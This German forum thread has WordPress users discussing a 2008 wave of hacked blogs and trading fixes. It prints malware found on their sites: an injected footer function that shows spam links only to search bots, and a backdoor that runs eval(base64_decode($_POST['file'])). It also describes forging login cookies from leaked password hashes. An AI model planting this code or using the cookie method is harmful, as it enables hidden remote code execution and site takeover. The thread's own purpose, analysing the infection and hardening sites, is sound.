Gemeinsamkeiten zwischen geknackten WP-Blogs

[Webrocker]

Zitat von berlindave

Also bei mir, was das Passwort betrifft, jedenfalls nicht. Ich schließe mich daher eher der Vermutung an, dass das Cookie ausspioniert wurde. Wie genau, ist jedoch noch unklar.

Cookie ausspionieren ist eine relativ leichte Sache. In diesem Ticket auf trac.wordpress.org ist erleutert, wie einfach ein Angreifer auf älteren WP-Installationen "Sesam öffne Dich" bekommt. Anscheinend braucht er dazu nicht das Passwort zu kennen, sondern muss nur den MD5-Hash des gespeicherten Passworts kennen - und der steht in der Datenbank. Wenn man nun eine SQL-injection Anfälligkeit durch eine ältere WP Version oder ein Plugin hat, genügt ein Read-Only Zugriff eines Angreifers um an die Zugänge zu gelangen. Ebenfalls beliebtes Türchen sind übers Web erreichbare Dumps der Datenbank (zb im wp-content/backup Verzeichnis).
Da die alte Cookie Authentifizierung nach md5(md5(passwort)); schaut, ist es ein Leichtes, die Tür aufzumachen - unahängig davon, wie komplex das Passwort gewählt ist, da nicht das Passwort, sondern nur der MD5-Hash des Passwortes gebraucht wird.
Betrifft wohl alle Versionen bis 2.3.1.

[Alphawolf]

Das gibt's doch nicht. Ich weiß nicht, ob dies dasselbe Problem ist wie das der anderen Poster hier, aber schon wieder fand sich in meiner wp-includes/default-filters.php ein Filter-Eintrag.

PHP-Code:

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
    $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
    $sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
    if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
    @include('./wp-includes/class-mail.php');
    if(sizeof($wparr)>0){
        echo "<div id=\"_wp_footer\">";
        foreach($wparr as $k=>$v){
            echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
            if($i++==$inum) break;
        }
        echo "</div>".$_footer;
    }
} 


Diese Links sehen nur SuMa-Bots, wie man aus dem Code ablesen kann.

Ist dies bei den Betroffenen hier ebenso der Fall? Bei mir scheint es zumindest nicht das Passwort zu sein, sondern "nur" ein Problem, das mir dauernd die wp-includes/default-filters.php geändert wird (CHMOD 644).

Zum entsprechenden Zeitpunkt bbefindet sich in den Logs folgender Eintrag:

194.110.162.23 - - [24/Mar/2008:04:09:37 +0100] "POST /xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d HTTP/1.1" 200 7575 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"

[Webrocker]

Zitat von Alphawolf

Das gibt's doch nicht.

Hi,
chmod die datei auf 640. Das wp-includes verzeichnis selbst hat welche rechte?
(bei mir hat es 710, die datei 740, das scheinen die umask-default werte meines providers zu sein)

[Webrocker]

Zitat von Alphawolf

Ist dies bei den Betroffenen hier ebenso der Fall?

schau mal hier: WordPress › Support » 2.3.1 vulnerability
das scheint das gleiche problem zu sein.

[Alphawolf]

Zitat von Webrocker

schau mal hier: WordPress › Support » 2.3.1 vulnerability
das scheint das gleiche problem zu sein.

Ich nutze natürlich 2.3.3. Hatte das selbe Problem vor ein paar Monaten schon einmal (wiederholt), und habe diese Vorgehensweise schon öfters ausgeführt: Fixes wordpress.net.in Spam footer Injection Infected by Goro class-mail.php and default-filters.php backdoor » By Avice De'veréux » WordPress, injection, vulnerability

Habe jetzt zusätzlich das wp-includes/ auf 710 gestellt (war vorher 755; Standard des Hosters für Ordner) und die default-filters.php auf 640 (alternativ 444). Die Datei class-mail.php, die es in WP nicht gibt, habe ich geleert, und die Rechte auf 000 gesetzt, sodass man sie zumindest nicht mehr erstellen bzw. bearbeiten kann.

Ich suche mal in den Tickets, denn offenbar gibt's diesen Hack seit WP 2.1.1 (wie in deinem Thread jemand anmerkt), ob dies mit WP 2.5 endlich gefixt wurde.

[malo.conny]

Eventuell hilft ja der Beitrag: Wordpress Doorway Spam Attacks | CyberInsecure.com

[Webrocker]

Zitat von Alphawolf

Die Datei class-mail.php, die es in WP nicht gibt, habe ich geleert, und die Rechte auf 000 gesetzt, sodass man sie zumindest nicht mehr erstellen bzw. bearbeiten kann.

hi, hast du noch eine kopie dieser datei?
mich würde interessieren, was darin steht, gerade auch im zusammenhang mit dem post request an die xmlrpc.php,

xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d

den du weiter oben gepostet hattest.

ich habe ein wenig herumgegoogelt, und im zusammenhang damit so etwas gefunden:

PHP-Code:

if($_GET['476cec30ae48ed13']=="1682480ecf14ff65"){
    eval(base64_decode($_POST['file']));
    exit;
} 


... das könnte darauf hinweisen, das irgendwie die xmlrpc.php evtl diese datei als $_POST['file'] untergeschoben bekommt, wegen des evals() gehe ich davon aus, dass der inhalt von $_POST['file'] aber ausführbarer php-code ist...

[msi]

Sagt mal, in irgendeinem von den oben verlinkten Beiträgen wird empfohlen, die Namen der Cookies zu ändern. Die entsprechenden Stellen befinden sich in der "wp-settings.php", und es mag durchaus sein, dass man mit Kenntnis der Standardnamen Unsinn machen könnte.

Gäbe es Probleme, wenn ich die Namen bspw so ändere:

if ( !defined('USER_COOKIE') )
//  define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
    define('USER_COOKIE', 'wpu' . md5(uniqid(rand())) . '_' . COOKIEHASH);

Ob jetzt MD5 sicher ist oder nicht, der Name ist nicht mehr vorhersehbar. Man kann auch den Präfix "wpu" weglassen. Ein kleiner lokaler Test hat keine Probleme ergeben. Aber manchmal gibt es ja Stolperfallen, an die man so nicht denkt.

Das müsste man bei PASS_COOKIE und AUTH_COOKIE auch machen.
Ideen? Kritik?


Habe gerade selbst etwas gefunden. Wenn man alle 3 Cookie so benennt, kann man sich nicht mehr anmelden. Also, das muss ich noch mal genauer prüfen.

[DerEine]

Hallo zusammen

Könnte man nicht den Externen zugriff aus die Verzeichnisse wie zb. wp-includes mit einer .htaccess Datei Verwehren so das nur der Server (localhost) drauf zugreifen kann.

so müsste dann die .htaccess Aussehen

order deny,allow
deny from all
allow from localhost 127.0.0.1

mfg
DerEine

[Fellow Passenger]

Abgesehen davon, daß ich kaum mehr irgendwo kommentieren darf (nicht einmal in meinem eigenen Blog) ohne im Spamfilter zu landen, habe ich bislang Ruhe.

Meine Theorie ist folgende: Als ich WP 2.3.2 laufen hatte, hat jemand über die Sicherheitslücke in der xmlrpc.php mein Administrator-Cookie geklaut.

Nach dem Update auf 2.3.3 war das zwar wohl nicht mehr möglich. Nachdem aber auch danach erneut Artikel manipuliert wurden, nehme ich an, daß dies mit dem geraubten Cookie weiterhin ging.

Inzwischen habe ich alle User gelöscht und ein neues Administrator-Konto angelegt. Seitdem ist zumindest lokal Ruhe eingekehrt.

Daß es so bleibt, kann ich nur hoffen, weil außer den Saboteuren niemand wirklich zu wissen scheint, wo der Fehler im System liegt.

Version 2.5 zu installieren, wage ich bislang nicht. Schon jetzt reichen die Entwickler mehrere Sicherheits-Patches nach, die Lücken stopfen sollen, die erst durch die neue Version aufgerissen wurden. Das gegenwärtige Problem scheint ihnen dabei nicht einmal bekannt zu sein.

Immerhin listet Google inzwischen schon 40.600 sabotierte WordPress-Installationen.